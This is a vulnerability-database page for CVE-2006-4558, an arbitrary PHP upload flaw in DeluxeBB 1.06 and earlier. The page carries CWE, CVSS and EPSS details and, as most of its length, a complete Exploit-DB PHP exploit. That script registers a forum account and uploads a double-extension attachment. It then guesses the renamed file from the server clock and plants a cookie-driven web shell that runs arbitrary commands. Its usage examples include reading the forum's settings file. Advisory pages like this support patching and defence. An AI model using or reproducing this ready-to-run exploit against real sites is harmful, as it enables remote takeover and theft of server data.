CVE-2006-4558 : Detail

CVE-2006-4558

File Inclusion
A04-Insecure Design
9.32%V4
Network
2006-09-05
22h00 +00:00
2017-07-19
13h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

DeluxeBB 1.06 and earlier, when run on the Apache HTTP Server with the mod_mime module, allows remote attackers to execute arbitrary PHP code by uploading files with double extensions via the fileupload parameter in a newthread action in newpost.php.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-434 Unrestricted Upload of File with Dangerous Type
The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 1797

Publication date : 2006-05-15 22h00 +00:00
Author : rgod
EDB Verified : Yes

#!/usr/bin/php -q -d short_open_tag=on <? echo "DeluxeBB <= v1.06 attachment mod_mime exploit\r\n"; echo "by rgod rgod@autistici.org\r\n"; echo "site: http://retrogod.altervista.org\r\n"; echo "tested & working against a fresh deluxebb installation\r\n\r\n"; if ($argc<4) { echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n"; echo "host: target server (ip/hostname)\r\n"; echo "path: path to deluxebb\r\n"; echo "cmd: a shell command\r\n"; echo "Options:\r\n"; echo " -p[port]: specify a port other than 80\r\n"; echo " -P[ip:port]: specify a proxy\r\n"; echo "Examples:\r\n"; echo "php ".$argv[0]." localhost /deluxebb/ cat ./../settings/info.php\r\n"; echo "php ".$argv[0]." localhost /deluxebb/ ls -la -p81\r\n"; echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n\r\n"; die; } /*explaination: you can upload attachments with double extensions, ex.: test.php.php.rar file is renamed like this: test.php.php-1147772503.ext and copied to the files/ folder, as you can see, new filename is predictable..., numbers are the result of time() php function, you have just to synchronize clocks through Apache "Date" header... It seems that Apache mod_mime module considers double-extension files like this to be valid PHP files and runs the arbitrary code that has been uploaded, actually on most versions you can do somethign like this: http://[target]/[path]/files/test.php.php-1147772503.ext?cmd=ls%20-la */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "\r\n".$html; } function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } function greenwich_timestamp($response) { $temp=explode("Date: ",$response); $temp2=explode("\r\n",$temp[1]); $is_now=$temp2[0]; $temp=explode(" ",$is_now);$day=$temp[1];$month=$temp[2];$year=$temp[3];$temp2=explode(":",$temp[4]); $hour=$temp2[0];$min=$temp2[1];$sec=$temp2[2]; $tb=array ('Jan', '1','Feb', '2','Mar', '3','Apr', '4','May', '5','Jun', '6', 'Jul', '7','Aug', '8','Sep', '9','Oct', '10','Nov', '11','Dec', '12'); for ($i=0;$i<=23;$i++) {if ($month==$tb[$i]) {$month=$tb[$i+1];break;}} return mktime($hour,$min,$sec,$month,$day,$year); } function gmtime() { // Get GM offset. return time() - (int) date('Z'); } $host=$argv[1]; $path=$argv[2]; $cmd="";$port=80;$proxy=""; for ($i=3; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } $cmd=urlencode($cmd); if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} echo "step 0 -> Check if suntzu.php is already installed\r\n"; $packet ="GET ".$p."files/suntzu.php HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: cmd=".$cmd.";\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (strstr($html,"56789")) { echo "Exploit succeeded..."; $temp=explode("56789",$html); die("\r\n".$temp[1]."\r\n"); } echo "step 0b -> Synchronize...\r\n"; $difftime=0; //Unin epoch time by Apache "Date:" response header //it carries GMT time... sending HEAD request $packet ="HEAD / HTTP/1.1\r\nHost: ".$host."\r\nConnection: Close\r\n\r\n"; sendpacketii($packet); if ((eregi("Date: ",$html)) and ($proxy=='')) { $itstime=greenwich_timestamp($html); echo "target host Greenwich timestamp: ".$itstime."\r\n"; $mytime=gmtime(); echo "my greenwich timestamp: ".$mytime."\r\n"; $difftime= $itstime-$mytime; echo "difftime: ".$difftime."\r\n"; } else { echo "Unable to read \"Date\", assuming difftime = 0\r\n"; } echo "step 1 -> Register...\r\n"; srand(make_seed()); $anumber = rand(1,99999); $data="name=suntzu".$anumber; $data.="&pass=suntzu"; $data.="&pass2=suntzu"; $data.="&email=suntzu".$anumber."%40fakemail.com"; $data.="&hideemail=1"; $data.="&languagex=English"; $data.="&xthetimeoffset=2"; $data.="&xthedateformat=d-m-Y"; $data.="&xthetimeformat=24"; $data.="&submit=Register"; $packet ="POST ".$p."misc.php?sub=register HTTP/1.0\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="User-Agent: Googlebot/2.1\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); $temp=explode("Set-Cookie: ",$html); $cookie=""; for ($i=1; $i<=count($temp)-1; $i++) { $temp2=explode(" ",$temp[$i]); $cookie.=" ".$temp2[0]; } if ($cookie=='') { die("Unable to register..."); } else { echo "cookie -> ".$cookie."\r\n"; } echo "step 2 -> Post a new thread with the evil attachment...\r\n"; $attachment=' <?php $fp=fopen("suntzu.php","w"); fputs($fp,"<?php error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()) {\$_COOKIE[cmd]=stripslashes(\$_COOKIE[cmd]);}echo 56789;passthru(\$_COOKIE[cmd]);echo 56789;?>"); fclose($fp); chmod("suntzu.php",777); ?>'; $data='-----------------------------7d6ee3a7074a Content-Disposition: form-data; name="subject" Sun-Tzu, Art of War -----------------------------7d6ee3a7074a Content-Disposition: form-data; name="posticon" None -----------------------------7d6ee3a7074a Content-Disposition: form-data; name="disablesmilies" 1 -----------------------------7d6ee3a7074a Content-Disposition: form-data; name="fileupload"; filename="suntzu'.$anumber.'.php.php.rar" Content-Type: application/octet-stream '.$attachment.' -----------------------------7d6ee3a7074a Content-Disposition: form-data; name="MAX_FILE_SIZE" 1048576 -----------------------------7d6ee3a7074a Content-Disposition: form-data; name="what" ciao -----------------------------7d6ee3a7074a Content-Disposition: form-data; name="submit" Post -----------------------------7d6ee3a7074a-- '; $packet ="POST ".$p."newpost.php?sub=newthread&fid=1 HTTP/1.0\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6ee3a7074a\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; $mytime=time() + $difftime; sendpacketii($packet); sleep(2); /* file is renamed in this way: ... $time = time(); //header.php, line 78 ... ... $saveit = $settings['attachdir'] . $filename . '-' . $time . '.' . 'ext'; //newpost.php, line 218-219 copy($fileupload['tmp_name'], $saveit); ... */ $predict_time= array ( $mytime, $mytime + 1, $mytime + 2, $mytime + 3, $mytime + 4, $mytime + 5, $mytime + 6 ); for ($i=0; $i<=count($predict_time)-1; $i++) { $a=3+$i; echo "step ".$a." -> trying with suntzu".$anumber.".php.php-".$predict_time[$i].".ext\r\n"; $packet ="GET ".$p."files/suntzu".$anumber.".php.php-".$predict_time[$i].".ext HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); $packet ="GET ".$p."files/suntzu.php HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: cmd=".$cmd.";\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (strstr($html,"56789")) { echo "Exploit succeeded..."; $temp=explode("56789",$html); die("\r\n".$temp[1]."\r\n"); } } //if you are here... echo "Exploit failed..."; ?> # milw0rm.com [2006-05-16]

Products Mentioned

Configuraton 0

Deluxebb>>Deluxebb >> Version To (including) 1.06

References

http://securityreason.com/securityalert/1492
Tags : third-party-advisory, x_refsource_SREASON
http://www.vupen.com/english/advisories/2006/1843
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/20135
Tags : third-party-advisory, x_refsource_SECUNIA